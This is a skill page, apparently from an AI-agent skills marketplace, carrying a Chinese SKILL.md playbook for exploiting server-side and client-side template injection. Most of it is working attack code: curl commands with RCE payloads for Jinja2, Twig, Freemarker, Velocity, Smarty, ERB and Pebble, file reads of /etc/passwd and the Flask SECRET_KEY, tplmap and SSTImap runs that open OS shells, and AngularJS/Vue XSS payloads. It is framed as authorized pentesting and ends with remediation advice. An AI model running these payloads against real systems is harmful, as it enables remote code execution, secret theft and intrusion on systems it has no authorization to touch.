L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-template-injection-vulnerabilities

exploiting-template-injection-vulnerabilities

检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-template-injection-vulnerabilities description: 检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, ssti, template-injection, rce, web-security, owasp] version: "1.0" author: mahipal license: Apache-2.0

利用模板注入漏洞(Exploiting Template Injection Vulnerabilities)

适用场景

  • 在授权渗透测试中,当用户输入通过服务器端模板引擎渲染时
  • 测试包含用户提供数据的错误页面、电子邮件模板、PDF 生成器或报告生成器时
  • 评估允许用户自定义模板或通知消息的应用程序时
  • 在参数中识别潜在 SSTI 时(例如 {{7*7}} 返回 49)
  • 对 CMS 平台、营销工具或任何具有模板功能的应用程序进行安全评估时

前置条件

  • 授权:包含 RCE 测试范围的书面渗透测试协议
  • Burp Suite Professional:用于拦截和修改模板参数
  • tplmap:自动化 SSTI 利用工具(git clone https://github.com/epinna/tplmap.git)
  • SSTImap:现代 SSTI 扫描器(pip install sstimap)
  • curl:用于手动 SSTI 载荷测试
  • 模板引擎知识:Jinja2、Twig、Freemarker、Velocity、Mako、Pebble、ERB、Smarty

工作流程

步骤 1:识别模板注入点

查找用户输入被模板引擎处理的参数。

# 注入数学表达式以检测模板处理
# 如果服务器对表达式求值,则可能存在 SSTI

# 通用检测载荷
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# 检查常见注入位置:
# - 包含反射输入的错误页面
# - 个人资料字段(姓名、简介、签名)
# - 电子邮件主题/正文模板
# - 包含自定义字段的 PDF/报告生成
# - 搜索结果页面
# - 反映 URL 路径的 404 页面
# - 通知模板

步骤 2:识别模板引擎

确定使用的模板引擎类型,以选择合适的利用技术。

# 引擎识别决策树:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) 或 EJS (Node.js)

# 区分 Jinja2 与 Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# 专门测试 Jinja2
curl -s "https://target.example.com/page?name={{config}}"
# 返回 Flask 配置 = Jinja2/Flask

# 测试 Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# 返回日期/时间 = Freemarker

# 测试 Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# 返回 1 = Velocity

# 测试 Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# 返回 test = Smarty

# 测试 Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# 返回类信息 = Pebble

# 使用 tplmap 自动检测引擎
python3 tplmap.py -u "https://target.example.com/page?name=test"

步骤 3:利用 Jinja2(Python/Flask)

通过 Jinja2 模板注入实现代码执行。

# 读取配置
curl -s "https://target.example.com/page?name={{config.items()}}"

# 访问密钥
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# Jinja2 RCE - 方法1:通过 MRO 访问 os 模块
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Jinja2 RCE - 方法2:使用 cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Jinja2 RCE - 方法3:使用 lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# 通过 Jinja2 读取文件
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# 枚举可用子类以寻找有用的类
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

步骤 4:利用 Twig(PHP)、Freemarker(Java)等引擎

针对不同引擎使用特定载荷进行利用。

# --- Twig (PHP) ---
# Twig RCE
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Twig 文件读取
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"

# --- Freemarker (Java) ---
# Freemarker RCE
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"

# 替代 Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"

# --- Velocity (Java) ---
# Velocity RCE
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"

# --- Smarty (PHP) ---
# Smarty RCE
curl -s "https://target.example.com/page?name={system('id')}"

# --- ERB (Ruby) ---
# ERB RCE
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"

# --- Pebble (Java) ---
# Pebble RCE
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"

步骤 5:使用 tplmap 和 SSTImap 自动化测试

使用自动化工具进行全面测试和利用。

# tplmap - 自动化 SSTI 利用
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell

# tplmap 测试 POST 参数
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"

# tplmap 使用自定义请求头
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  -H "Cookie: session=abc123" \
  -H "Authorization: Bearer token" \
  --os-cmd "whoami"

# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell

# tplmap 文件读取
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  --download "/etc/passwd" "/tmp/passwd"

# Burp Intruder 方法:
# 1. 将请求发送到 Intruder
# 2. 标记可注入参数
# 3. 加载 SSTI 载荷列表
# 4. 通过匹配指标进行 Grep:"49"、错误消息、类名

步骤 6:测试客户端模板注入(CSTI)

评估 Angular/Vue/React 客户端模板中的表达式注入。

# AngularJS 表达式注入
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"

# AngularJS 沙箱绕过(1.6 之前版本)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"

# Vue.js 表达式注入
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"

# 检查页面是否存在 AngularJS ng-app
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"

# 使用不同的 CSTI 载荷测试
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
  '{{$on.constructor("alert(1)")()}}'; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload: "
  curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done

核心概念

概念定义
SSTI服务器端模板注入(Server-Side Template Injection)——注入在服务器端执行的模板指令
CSTI客户端模板注入(Client-Side Template Injection)——向 AngularJS/Vue 模板注入表达式(导致 XSS)
模板引擎(Template Engine)处理包含占位符的模板文件并将其替换为数据的软件
沙箱逃逸(Sandbox Escape)绕过模板引擎安全限制以访问危险函数
MRO(方法解析顺序)Python 类层次结构遍历,在 Jinja2 利用中使用
对象自省(Object Introspection)使用 __class__、__subclasses__()、__globals__ 遍历 Python 对象
盲 SSTI(Blind SSTI)输出不直接可见的模板注入,需要带外技术

工具与系统

工具用途
tplmap支持操作系统 Shell 功能的自动化 SSTI 检测与利用工具
SSTImap支持多种模板引擎的现代 SSTI 扫描器
Burp Suite Professional请求拦截和使用 Intruder 进行载荷模糊测试
Hackvertor(Burp 扩展)用于绕过技术的载荷编码和转换
PayloadsAllTheThingsGitHub 上的综合 SSTI 载荷参考
OWASP ZAP主动扫描模式下的自动化 SSTI 检测

常见场景

场景 1:Flask 电子邮件模板注入

Flask 应用程序允许用户自定义电子邮件通知模板。自定义模板通过 Jinja2 渲染且没有沙箱保护,允许通过 {{config.items()}} 和子类遍历实现 RCE。

场景 2:Java CMS Freemarker 注入

基于 Java 的 CMS 允许管理员使用 Freemarker 编辑页面模板。低权限编辑者注入 <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} 来执行命令。

场景 3:错误页面 SSTI

自定义 404 错误页面通过 Twig 模板反映请求的 URL 路径。请求 /{{['id']|filter('system')}} 导致服务器执行 id 命令。

场景 4:AngularJS 客户端注入

搜索页面使用带有 ng-bind-html 的 AngularJS 渲染结果。搜索 {{constructor.constructor('alert(document.cookie)')()}} 通过 AngularJS 表达式求值实现 XSS。

输出格式

## 模板注入发现报告

**漏洞**:服务器端模板注入(Jinja2)— RCE
**严重性**:严重(CVSS 9.8)
**位置**:GET /page?name=(name 参数)
**模板引擎**:Jinja2(Python 3.9 / Flask 2.3)
**OWASP 类别**:A03:2021 - 注入

### 复现步骤
1. 发送 GET /page?name={{7*7}} — 响应包含"49",确认 SSTI
2. 发送 GET /page?name={{config.SECRET_KEY}} — 返回 Flask 密钥
3. 发送 GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. 服务器返回:uid=33(www-data) gid=33(www-data)

### 已确认影响
- 以 www-data 用户身份实现远程代码执行
- 密钥泄露:Flask SECRET_KEY 已暴露
- 文件系统读取:/etc/passwd、应用程序源代码
- 潜在的内网横向移动

### 修复建议
1. 切勿将用户输入直接传递给模板渲染函数
2. 使用沙箱模板环境(Jinja2 SandboxedEnvironment)
3. 对模板变量实施严格的输入验证和白名单
4. 在可能的情况下使用无逻辑模板引擎(Mustache、Handlebars)
5. 为 Web 应用程序用户应用最小权限操作系统权限
Skills enregistrées